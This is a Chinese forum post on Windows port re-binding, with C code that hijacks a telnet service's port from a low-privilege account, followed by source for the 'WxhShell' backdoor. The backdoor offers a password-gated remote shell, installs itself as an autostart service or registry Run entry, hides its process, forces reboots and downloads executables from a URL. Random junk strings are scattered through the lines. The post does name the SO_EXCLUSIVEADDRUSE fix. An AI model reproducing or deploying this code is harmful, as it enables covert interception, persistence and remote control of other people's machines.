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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <F!On5=W*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9I*zgM!F  
3QSP](W-(  
  saddr.sin_family = AF_INET; yRaB\'  
H:x=v4NgsU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b!VaEK  
9j458Yd4*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d[ql7  
w|?<;+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {f] K3V  
O:'UsI1Y  
  这意味着什么?意味着可以进行如下的攻击: DYlu`j_ux  
"`Q~rjc$2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;RNU`I p  
F"xD^<i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =}5;rK  
)F;`07  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Q/rOIHiI  
>YuBi:z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0?525^   
:Rc>=)<7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E[bJ5o**#  
k4te[6)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L 1=HD  
E/9h"zowS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,a&N1G.  
zg,?aAm  
  #include Rk8>Ak(/  
  #include a[iuE`  
  #include f Co-ony  
  #include    Ht,_<zP;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q h;ahX~  
  int main() 4PUSFZK?  
  { fMRBGcg7Dc  
  WORD wVersionRequested; dD@k{5  
  DWORD ret; *Q=ER  
  WSADATA wsaData; 6tXx--Nh  
  BOOL val; jt-Cy  
  SOCKADDR_IN saddr; P]A>"-k  
  SOCKADDR_IN scaddr; -?gr3rV@  
  int err; lNuZg9h  
  SOCKET s; K@lZuQ.1  
  SOCKET sc; nsWenf  
  int caddsize; INZycNqm,  
  HANDLE mt; JFe %W?}.D  
  DWORD tid;   lquY_lrri  
  wVersionRequested = MAKEWORD( 2, 2 ); ^Nl)ocHv!  
  err = WSAStartup( wVersionRequested, &wsaData ); *het_;)+{  
  if ( err != 0 ) { q B-9&X  
  printf("error!WSAStartup failed!\n"); F/z$jj)  
  return -1; cRBdIDIc  
  } ]O2ku^yM  
  saddr.sin_family = AF_INET; )3g7dtq}  
   v2R41*z,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %KL"f  
y&T(^EA;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `pS<v.L3  
  saddr.sin_port = htons(23); c%-s_8zvi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Eh 2sI  
  { Srw ciF  
  printf("error!socket failed!\n"); N=hr%{} c  
  return -1; \ZiZ X$  
  } `C 'WSr  
  val = TRUE; 5&]|p'"W\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Oo{+W 5[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }Th":sin},  
  { $!P(Q  
  printf("error!setsockopt failed!\n"); (as'(+B  
  return -1; ^zn j J\  
  } 5zXw0_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _[}r2,e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t]1j4S"pm  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UO(B>Abp  
MJ^NRT0?b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V {R<R2h1  
  { g _fvbVX  
  ret=GetLastError(); Bs2.$~   
  printf("error!bind failed!\n"); oK1"8k|Z  
  return -1; QA_SS'*  
  } v#u]cmI  
  listen(s,2); $r%m<Uc;}O  
  while(1) '~i;g.n=}-  
  { t/z]KdK P  
  caddsize = sizeof(scaddr); MIo5Y`T  
  //接受连接请求 sIQd }  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hYRGIpu5  
  if(sc!=INVALID_SOCKET) 4?YhqJ  
  { |eT?XT<=o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]eA<  
  if(mt==NULL) ( XYYbP  
  { P7r?rbO"  
  printf("Thread Creat Failed!\n"); `c@KlL*!Q  
  break; fF !Mmm"  
  } [OFg (R-  
  } R:S Fj!W1  
  CloseHandle(mt); "5Oi[w&F5  
  } }m NP[L  
  closesocket(s); jSbO1go#  
  WSACleanup(); pVe@HJy6G  
  return 0; V&4)B &W  
  }   z7V74hRPX  
  DWORD WINAPI ClientThread(LPVOID lpParam) Kl.xe&t@j  
  { .Lz\/ OS  
  SOCKET ss = (SOCKET)lpParam; N\b%+vR  
  SOCKET sc; a x1  
  unsigned char buf[4096]; )2T?Z)"hO  
  SOCKADDR_IN saddr; ^luAX }*  
  long num; (9q61z A  
  DWORD val; H|>dF)%pj  
  DWORD ret; q)R&npP7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F XJI,(:-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ys,}L.  
  saddr.sin_family = AF_INET; XE);oL2xP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #UGtYD}"  
  saddr.sin_port = htons(23); >QRpRHtb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5_";EED  
  { Kd}cf0  
  printf("error!socket failed!\n"); J \U}U'qP  
  return -1; S N_!o2F2  
  } 0] e=  
  val = 100; 3XY;g{`=q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n,sl|hv2U  
  { g2%&/zq/  
  ret = GetLastError(); X~XpX7d!  
  return -1;  4"72  
  } *=i|E7Irg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -E~pCN(E  
  { ~6!{\un   
  ret = GetLastError(); F-Mf~+=Dn  
  return -1; m}w~ d /  
  } HrQBzS  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \YO1;\W  
  { zR:Mg\  
  printf("error!socket connect failed!\n"); hEAt4z0P  
  closesocket(sc); [su2kOX|X  
  closesocket(ss); %!$ua_8  
  return -1; 4eapR|#T  
  } [f["9(:  
  while(1) c;DWSgIw  
  { A,-UW+:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C;2!c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 O-- "\4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aW hhq@  
  num = recv(ss,buf,4096,0); Dg~r%F  
  if(num>0) gaBt;@?:Q  
  send(sc,buf,num,0); [/ uqH  
  else if(num==0) tWL3F?wd  
  break; OI;0dS  
  num = recv(sc,buf,4096,0); yQb^]|XG  
  if(num>0) # JHicx\8l  
  send(ss,buf,num,0); zOA{S~>  
  else if(num==0) d U n+?  
  break; WCxt-+#  
  } v!(B S,  
  closesocket(ss); kzPHPERA]  
  closesocket(sc); L?!*HS7 m  
  return 0 ; Fy^*@&  
  } O o9 ePw7  
/CX_@%m}e=  
mKY}+21!Q  
========================================================== vfAR^*7e  
Q?Vq/3K;  
下边附上一个代码,,WXhSHELL +')\,m "z  
nxH=Ut7{  
========================================================== {8D`A;KD  
-U;2 b_  
#include "stdafx.h" uP bvN[~t  
dr3#?%  
#include <stdio.h> u 0KVp6`  
#include <string.h> s.z(1MB]  
#include <windows.h> NT?Gl(  
#include <winsock2.h> 7 J$  
#include <winsvc.h> %rVC3}  
#include <urlmon.h> V&82U w  
d5&avL\  
#pragma comment (lib, "Ws2_32.lib") UZsL0  
#pragma comment (lib, "urlmon.lib") bL\ab  
O'y8[<  
#define MAX_USER   100 // 最大客户端连接数 "PH}\Dl=  
#define BUF_SOCK   200 // sock buffer O#}T.5t  
#define KEY_BUFF   255 // 输入 buffer E O^j,x g  
j4H]HGHv  
#define REBOOT     0   // 重启 ]kUF>Wp  
#define SHUTDOWN   1   // 关机 Yt79W  
F9(*MP|  
#define DEF_PORT   5000 // 监听端口 /bm$G"%d  
!4zSE,1  
#define REG_LEN     16   // 注册表键长度 Dz$GPA   
#define SVC_LEN     80   // NT服务名长度 U{(B)dFTH  
EJ7}h?a]U_  
// 从dll定义API ``?] 13XjK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M qq/k J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E0QrByr_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5P~{*of  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GUyMo@g  
!}7FC>Cx  
// wxhshell配置信息 @-y.Y}k#$~  
struct WSCFG { ^hPREbD+f  
  int ws_port;         // 监听端口 ?pq#|PI)  
  char ws_passstr[REG_LEN]; // 口令 ST'M<G%4E  
  int ws_autoins;       // 安装标记, 1=yes 0=no %D|p7&  
  char ws_regname[REG_LEN]; // 注册表键名 $<R\|_6J  
  char ws_svcname[REG_LEN]; // 服务名 Do-~-d4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?;NC(Z,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 297X).  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gs^hqT;h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q?df5{6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cx(|ZD^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jG8W|\8  
Q;A1&UA2  
}; =+24jHs  
+>BLox6  
// default Wxhshell configuration v eP)ElX  
struct WSCFG wscfg={DEF_PORT, akg$vHhK4  
    "xuhuanlingzhe", 4cC  
    1, Y*0AS|r!  
    "Wxhshell", +o+e*B7Eh  
    "Wxhshell", dq d:V$o  
            "WxhShell Service", m$b5Vqq  
    "Wrsky Windows CmdShell Service", 8Mx+tA  
    "Please Input Your Password: ", z0=(l?)#  
  1, 9K~0:c  
  "http://www.wrsky.com/wxhshell.exe", h/`]=kCl  
  "Wxhshell.exe" =[]V$<G'w{  
    }; o@SL0H-6|  
CJ+/j=i;~c  
// 消息定义模块 f;os\8JdM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J_PAWW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kpT>xS^6<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _}8hE v  
char *msg_ws_ext="\n\rExit."; d.wu   
char *msg_ws_end="\n\rQuit."; )S41N^j.  
char *msg_ws_boot="\n\rReboot..."; 7K"{}:  
char *msg_ws_poff="\n\rShutdown..."; )F_0('=t  
char *msg_ws_down="\n\rSave to "; @ol}~&"  
%eK=5Er jx  
char *msg_ws_err="\n\rErr!"; Sg#$ B#g  
char *msg_ws_ok="\n\rOK!"; x"/DCcZ  
&>Zm gz  
char ExeFile[MAX_PATH]; 1< gY  
int nUser = 0; ]B8`b  
HANDLE handles[MAX_USER]; 04;E^,V  
int OsIsNt; 4yOYw*X  
S$O+p&!X  
SERVICE_STATUS       serviceStatus; `" BFvF#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H&$L1CrdL  
q [}<LU  
// 函数声明 %H)^k${  
int Install(void); `6bIxb{  
int Uninstall(void); eBUexxBY  
int DownloadFile(char *sURL, SOCKET wsh); )\nKr;4MH  
int Boot(int flag); ['~E _z  
void HideProc(void); HW|5'opF  
int GetOsVer(void); z;T_%?u  
int Wxhshell(SOCKET wsl); %x}iEqkU  
void TalkWithClient(void *cs); BQ8vg8e]B  
int CmdShell(SOCKET sock); is?#wrV=K  
int StartFromService(void); o[$~  
int StartWxhshell(LPSTR lpCmdLine); e@6]rl  
q<Tx'Ya  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #bI ,;]T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6z-ZJ|?  
j!1 :+H_L  
// 数据结构和表定义 hA'i|;|ZYc  
SERVICE_TABLE_ENTRY DispatchTable[] = & OO0v*@{  
{ :V,agAMn  
{wscfg.ws_svcname, NTServiceMain}, tVI6GXH  
{NULL, NULL} > nHaMj  
}; !TNp|U!  
??Lda='  
// 自我安装 E;`@S  
int Install(void) 7'IcgTWDZy  
{ =()Vrk|uK  
  char svExeFile[MAX_PATH]; D*T*of G  
  HKEY key; E`0mn7.t  
  strcpy(svExeFile,ExeFile); gc<w nm|  
c{"=p8F_  
// 如果是win9x系统,修改注册表设为自启动 {J&[JA\   
if(!OsIsNt) { ?nf!s J'm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =6.4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /)+V(Jlu  
  RegCloseKey(key); qdW"g$fW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *'i9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e4h9rF{Cxn  
  RegCloseKey(key); ey/{Z<D  
  return 0; _%R]TlL  
    } $O'IbA  
  } ;!~&-I0l  
} Z]~) ->=}  
else { M6nQ17\{  
`[)!4Jb  
// 如果是NT以上系统,安装为系统服务 Jn:h;|9w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S4ys)!V1V  
if (schSCManager!=0) T]_]{%z  
{ ?)-#\z=6G  
  SC_HANDLE schService = CreateService \&8 61A;  
  ( #fGI#]SG?  
  schSCManager, {s7 3(B"  
  wscfg.ws_svcname, =)c^ik%F&  
  wscfg.ws_svcdisp, C@o8C%o  
  SERVICE_ALL_ACCESS, #Sc9&DfX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  i)!2DXn  
  SERVICE_AUTO_START, z=FOymv C  
  SERVICE_ERROR_NORMAL, mb\"qD5  
  svExeFile, I4"(4u@P  
  NULL,  `1`Qu!  
  NULL, 969Y[XQ  
  NULL, ,=IGqw  
  NULL, 7g7[a/Bts  
  NULL >%\&tS'  
  ); M*gbA5  
  if (schService!=0) drwD3jx0xv  
  { 6*&$ha}X  
  CloseServiceHandle(schService); 4 (c{%%  
  CloseServiceHandle(schSCManager); m[}@\y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ljP<WD  
  strcat(svExeFile,wscfg.ws_svcname); B?nw([4m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Fp&tJ]=B.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q "vhl2RX  
  RegCloseKey(key); I/B*iW^  
  return 0; GBY-WN4sc[  
    } 0$g;O5y"i  
  } 4JO[yN  
  CloseServiceHandle(schSCManager); XN&cM,   
} +\R__tx;  
} ]N;\AXZ7  
;5 p;i 8m  
return 1; YD{Ppz  
} Y"  Ut  
1/ 3<u::  
// 自我卸载 :Tcvj5  
int Uninstall(void) BUs={"Pa  
{ kBeYl+*pk  
  HKEY key; Zmc"  
3\ {?L  
if(!OsIsNt) { ZLZh$eZZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LgxsO:mi  
  RegDeleteValue(key,wscfg.ws_regname); *x-@}WY$U  
  RegCloseKey(key); e>2KW5.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { : i{tqY%  
  RegDeleteValue(key,wscfg.ws_regname); <MyT ;  
  RegCloseKey(key); B,fVNpqo  
  return 0; 8n,/hY>w  
  } 5wa'SexqE  
} LC, 6hpmh  
} Bra}HjHO  
else { tbXl5x0  
_)S['[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8F K%7\V  
if (schSCManager!=0) %M,^)lRP  
{ SE$~Wbj?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /.WIED}>  
  if (schService!=0) g#q7~#9  
  { UOpSH{N  
  if(DeleteService(schService)!=0) { ^o87qr0g]  
  CloseServiceHandle(schService); Oz4vV_a&'  
  CloseServiceHandle(schSCManager); K!,9qH  
  return 0; TWM^5 L:U  
  } W#@6e')d  
  CloseServiceHandle(schService); j#jwK(:]  
  } 7?;ZE:  
  CloseServiceHandle(schSCManager); / K(l[M  
} M`&78j  
} ;4QE.&s`  
`\r <3?  
return 1; &`IJ55Z-)  
} `x`zv1U  
.lAPlJOO  
// 从指定url下载文件 bA1O]:`  
int DownloadFile(char *sURL, SOCKET wsh) >a;LBQ0  
{ )UtK9;@"  
  HRESULT hr; I|l5e2j  
char seps[]= "/"; PJO.^OsM  
char *token; tlM >=s'T  
char *file; TkR#Kzv380  
char myURL[MAX_PATH]; cGyR_8:2cv  
char myFILE[MAX_PATH]; 0g2rajS  
\UP=pT@  
strcpy(myURL,sURL); 2fgYcQ8`  
  token=strtok(myURL,seps); Zb7%$1)L~  
  while(token!=NULL) p}Um+I=1  
  { B7wzF"  
    file=token; Qv<p$Up6  
  token=strtok(NULL,seps); `MHixQ;j  
  } Q@uWh:  
Ob/i_  
GetCurrentDirectory(MAX_PATH,myFILE); }9 ]7V<  
strcat(myFILE, "\\"); :PK2! 0nK  
strcat(myFILE, file); "A*;V  
  send(wsh,myFILE,strlen(myFILE),0); {"2Hv;x  
send(wsh,"...",3,0); Mh2Zj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); TBIr^n>Z<k  
  if(hr==S_OK) VU1Wr|  
return 0; >`l^ C  
else ;H3~r^>c  
return 1; yIC C8M  
I Z|EPzS  
} <KJ|U0/jGd  
^u2x26].  
// 系统电源模块 CTe!jMZ=  
int Boot(int flag) }qJ`nN8  
{ /BN=Kl]  
  HANDLE hToken; }G "EdhSl  
  TOKEN_PRIVILEGES tkp; icQQLSU5  
($Op*bR  
  if(OsIsNt) { 1#*^+A E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B@@tKn_CQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =te4p@  
    tkp.PrivilegeCount = 1; di(H-=9G62  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9{}"tk5$h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k8!:`jG  
if(flag==REBOOT) { ,rjl|F* T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2*< PmKI  
  return 0; dV{mmHL  
} E5 #ff5  
else { AV4fN@BX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XSCcumde!  
  return 0; @ M4m!;rM  
} M~h.M PI  
  } A)gSOC{3F)  
  else { /'zXb_R,$  
if(flag==REBOOT) { "sIww  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wwet90_g  
  return 0; gi>W&6  
} xLb=^Xjec  
else { (5A8#7a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F-F1^$]k  
  return 0; H]W'mm  
} 6b%IPbb  
} ?LJiFG]^m  
x+TdTe;p  
return 1; da~_(giD*  
} M(yWE0 3  
&^w "  
// win9x进程隐藏模块 m?gGFxo  
void HideProc(void) YS@T Q?  
{ 1JJ1!& >  
$ce*W 9`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ly/  
  if ( hKernel != NULL ) 0176  
  { @FZ_[CYg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~N/a\%`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t&p I  
    FreeLibrary(hKernel); XwfR/4  
  } |#{ i7>2U  
tqCwbi  
return; orYZ<,u  
} itE/QB  
W]Nc6B*gI  
// 获取操作系统版本 t3g+>U_m  
int GetOsVer(void) .beqfcj"  
{ :yE0DS<_  
  OSVERSIONINFO winfo; *2}f $8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X Ai0lN{,  
  GetVersionEx(&winfo); 1M 6^Brx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =HB(N|9_d  
  return 1; EiaP1o  
  else IlwHHt;njp  
  return 0; <o[3*59  
} W'=}2Y$]u  
jt(GXgm  
// 客户端句柄模块 >y,. `ECn  
int Wxhshell(SOCKET wsl) ~g%Ht# <  
{ l^KCsea#  
  SOCKET wsh; j6};K ~N`  
  struct sockaddr_in client; $RB p!7  
  DWORD myID; @nMVs6  
SSbx[<E3  
  while(nUser<MAX_USER) ^7*7^<  
{ MslgQmlM  
  int nSize=sizeof(client); Q, "8Ty  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I}f7|hYX  
  if(wsh==INVALID_SOCKET) return 1; f& \ Bs8la  
$pKegK;'z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xX9snSGz  
if(handles[nUser]==0) dz>Jl},`k  
  closesocket(wsh); #d<|_  
else |H]0pbC)w  
  nUser++; 1G67#L)USq  
  } #0Uz1[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *-(o. !#1  
G,c2?^#n  
  return 0; R/Z7}QW  
} -j2y#aP  
Ml;` *;  
// 关闭 socket ?=^\kXc[  
void CloseIt(SOCKET wsh) q9PjQ%  
{ l!KPgRw  
closesocket(wsh); kj.9\  
nUser--; ?FUK_]  
ExitThread(0); +]z Rn  
} #D%6b  
Qca3{|r`  
// 客户端请求句柄 wf1p/bpf  
void TalkWithClient(void *cs) ~R~.D  
{ ~)`\ j  
@$j u Qm  
  SOCKET wsh=(SOCKET)cs; |Ldvfd  
  char pwd[SVC_LEN]; qX; F+~  
  char cmd[KEY_BUFF]; l(-"rE  
char chr[1]; `@WJ_-$#  
int i,j; Y"r728T`K  
$o;c:Kh$$  
  while (nUser < MAX_USER) { D^V)$ME  
'-J<ib t  
if(wscfg.ws_passstr) { r:g_mMvB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zUNUH^Il  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &['x+vL9  
  //ZeroMemory(pwd,KEY_BUFF); ~ iQBgd@D^  
      i=0; }@ktAt  
  while(i<SVC_LEN) { 1|!)*!hu  
%l#X6jkt  
  // 设置超时 P,a9B2  
  fd_set FdRead; om9'A=ZU  
  struct timeval TimeOut; e=s85!  
  FD_ZERO(&FdRead); &zJ\D`\,O  
  FD_SET(wsh,&FdRead); S-ZN}N{,6  
  TimeOut.tv_sec=8; m[iQ7/  
  TimeOut.tv_usec=0; md? cvGDE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #qR6TM&;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5XzsqeG|  
A+frKoi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'RF`XX  
  pwd=chr[0]; @V:Y%#%  
  if(chr[0]==0xd || chr[0]==0xa) { z}.6yHS  
  pwd=0; Rm79mh9  
  break; } XhL`%  
  } ?*yB&(a:8  
  i++; aI ;$N|]u  
    } ^,t@HN;gA  
wfEL .h  
  // 如果是非法用户,关闭 socket :g' 'GqGZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HwZl"!;Mry  
} HC1<zW[  
^k$Bx_{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O6 s3#iu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <|?)^;R5!  
]W4{|%@H"  
while(1) { _x3=i\O,  
TXXG0 G  
  ZeroMemory(cmd,KEY_BUFF); u0,QsD)_X0  
)ZBNw{nh  
      // 自动支持客户端 telnet标准   g6P^JW}.  
  j=0; ]];pWlo!  
  while(j<KEY_BUFF) { j}s/)}n|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d=8.cQL:E  
  cmd[j]=chr[0]; ,Wu$@jD/ ]  
  if(chr[0]==0xa || chr[0]==0xd) { ceD6q~)  
  cmd[j]=0; 'W4v>0   
  break; }YBuS3{  
  } )!cucY  
  j++; x3#:C=  
    } p~=z)7% e'  
ov H'_'  
  // 下载文件 7CSz  
  if(strstr(cmd,"http://")) { :@"o.8p   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hm!"%  
  if(DownloadFile(cmd,wsh)) ;~djbo0,X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2#3`[+g<n  
  else <H-kR\HF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MMC$c=4"  
  } QA;,/iw`  
  else { S5, u| H  
F E{c{G<  
    switch(cmd[0]) { `w`N5 !  
  <nG}]Smd7  
  // 帮助 DR3om;Uk  
  case '?': { )\VuN-d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X=Ar"Dx}}s  
    break; UBM#~~sM  
  } $ BgaLJs/O  
  // 安装 j6~`C ?(  
  case 'i': { #a~BigZ[G  
    if(Install()) }cGILH%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;2& d<h  
    else ';8 ,RTe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5S!j$_(  
    break; :p@jslD  
    } #>\SK  
  // 卸载 RU'a 8j+W  
  case 'r': { e!L5 v?  
    if(Uninstall()) #3LZX!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +l/kH9m  
    else -!qjBK,`X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NIQ}+xpC  
    break; ZsXw]Wa  
    } ("j;VqYUL  
  // 显示 wxhshell 所在路径 5lP8#O?=  
  case 'p': { N~IAm:G}[  
    char svExeFile[MAX_PATH]; 1!;~Y#  
    strcpy(svExeFile,"\n\r"); ((#BU=0iK  
      strcat(svExeFile,ExeFile); D_$N2>I-  
        send(wsh,svExeFile,strlen(svExeFile),0); DbB<8$  
    break; C9MK3vtD.  
    } Qjnh;uBO  
  // 重启 d}Guj/cx,  
  case 'b': { -AD` (b7q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '%ZKvZ-  
    if(Boot(REBOOT)) _Li.}g@Bd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); He4HI Z  
    else { qzA_ ~=g  
    closesocket(wsh); $ kHXt]fU  
    ExitThread(0); 7t#Q8u?  
    } V#.pi zb  
    break; N}NKQ]=  
    } /ar0K9`c  
  // 关机 C@t,oDU#  
  case 'd': { xr@;w8X`^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V_m!<s r(  
    if(Boot(SHUTDOWN)) 60n P'xfR  
